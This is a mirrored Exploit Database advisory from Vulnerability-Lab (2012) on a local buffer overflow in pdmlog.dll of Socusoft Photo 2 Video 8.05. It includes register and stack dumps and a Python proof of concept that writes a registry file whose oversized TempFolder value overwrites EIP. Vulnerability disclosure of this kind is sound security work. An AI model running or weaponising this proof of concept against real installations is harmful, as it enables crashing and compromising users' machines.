Socusoft Photo 2 Video 8.05 – Local Buffer Overflow

Exploit Database
116 阅读

作者： Vulnerability-Lab

日期： 2012-02-27
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18533/

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Title:

======

Socusoft Photo 2 Video v8.05 - Buffer Overflow Vulnerability

Date:

=====

2012-02-27

References:

===========

http://www.vulnerability-lab.com/get_content.php?id=460

VL-ID:

=====

460

Introduction:

=============

Socusoft photo to video converter Professional allows you to create all kinds of eye-catching

slideshow videos (mp4, flv, mov, avi, mkv, mpeg, h.264, h.264 HD, 3gp, 3gpp2, swf ) playable on

YouTube, Facebook, MySpace, iPod, iPad, iphone, Archos, PSP, Zune. With the powerful Photo to Video

Converter Professional,you could convert photo to the animating and dynamic video and share the

video on YouTube, Facebook, MySpace, iPod, iPad, iPhone. With just a few minutes of work, you\\\'ll

have an eye-catching slideshow video with background music and dynamic pan&zoom and attractive

transition effects. This powerful Photo to Video Converter Professional supports Over 260 animating

transition effects with Pan & Zoom effect.

(Copy of the Vendor Homepage:)

Abstract:

=========

A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Socusofts Photo to Video

Converter Free and Professional v8.05

Report-Timeline:

================

2012-02-27: Public or Non-Public Disclosure

Status:

========

Published

Affected Products:

==================

Socusoft Photo 2 Video v8.05

Exploitation-Technique:

=======================

Local

Severity:

=========

High

Details:

========

A Buffer Overflow vulnerability is detected on Socusoft Photo to Video Converter Free and Professional v8.05 (current version).

The vulnerability is located in the pdmlog.dll. Successful exploitation can result in execution of code, overwrite of registers & system compromise.

Vulnerable DLL(s):

[+] pdmlog.dll

--- Registers ---

# EAX 42424242

# EBX 00360000 pdmlog.dll:00360000

# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B

# EDX 80284006

# ESI 00000002

# EDI 00000000

# EBP 01C5FC0C Stack[000001AC]:01C5FC0C

# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0

# EIP 42424242

# EFL 00010206

--- Stack ---

# 01C5FBE000000000

# 01C5FBE400000002

# 01C5FBE8000094B7

# 01C5FBEC00000001

# 01C5FBF00036BF6Fpdmlog.dll:pdmlog_5+A69F<- Crash

# 01C5FBF400360000pdmlog.dll:00360000

# 01C5FBF800000002

# 01C5FBFC00000000

# 01C5FC0000000000

# 01C5FC0401C5FC20Stack[000001AC]:01C5FC20

# 01C5FC087FFDE000debug066:7FFDE000

--- Dump ---

# 0037058441 41 41 41 41 41 41 4141 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

# 0037059441 41 41 41 41 41 41 4141 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA

# 003705A442 42 42 42 43 43 43 4343 43 43 43 43 43 43 43BBBBCCCCCCCCCCCC

# 003705B443 43 43 43 43 43 43 4343 43 43 43 43 43 43 43CCCCCCCCCCCCCCCC

# 003705C443 43 43 43 43 43 43 4343 43 43 43 43 43 43 43CCCCCCCCCCCCCCCC

Picture(s):

../1.png

Proof of Concept:

=================

The Vulnerability can be exploited by local attackers. For demonstration or reproduce ...

#!/usr/bin/python

# Exploit Title: Socusoft Photo to Video Converter Free/Pro v8.05 (pdmlog.dll) Local Buffer Overflow PoC

# Version: 8.05

# Date:2012-02-26

# Author:Julien Ahrens

# Homepage:http://www.inshell.net

# Software Link: http://www.socusoft.com

# Tested on: Windows XP SP3 Professional German

# Notes: Overflow occurs in pdmlog.dll

# Howto: Import Reg -> Start App

# EAX 42424242

# EBX 00360000 pdmlog.dll:00360000

# ECX 0036BF3B pdmlog.dll:pdmlog_5+A66B

# EDX 80284006

# ESI 00000002

# EDI 00000000

# EBP 01C5FC0C Stack[000001AC]:01C5FC0C

# ESP 01C5FBF0 Stack[000001AC]:01C5FBF0

# EIP 42424242

# EFL 00010206

# 01C5FBE000000000

# 01C5FBE400000002

# 01C5FBE8000094B7

# 01C5FBEC00000001

# 01C5FBF00036BF6Fpdmlog.dll:pdmlog_5+A69F<- Crash

# 01C5FBF400360000pdmlog.dll:00360000

# 01C5FBF800000002

# 01C5FBFC00000000

# 01C5FC0000000000

# 01C5FC0401C5FC20Stack[000001AC]:01C5FC20

# 01C5FC087FFDE000debug066:7FFDE000

file="poc.reg"

junk1="\x41" * 548

boom="\x42\x42\x42\x42"

junk2="\x43" * 100

poc="Windows Registry Editor Version 5.00\n\n"

poc=poc + "[HKEY_CURRENT_USER\Software\Socusoft Photo to Video Converter Free Version\General]\n"

poc=poc + "\"TempFolder\"=\"" + junk1 + boom + junk2 + "\""

try:

print "[*] Creating exploit file...\n";

writeFile = open (file, "w")

writeFile.write( poc )

writeFile.close()

print "[*] File successfully created!";

except:

print "[!] Error while creating file!";

Risk:

=====

The security risk of the local buffer overflow vulnerability is estimated as high(-).

Credits:

========

Vulnerability Research Laboratory - Julien Ahrens(MrTuxracer)[www.inshell.net]

Disclaimer:

===========

The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,

either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-

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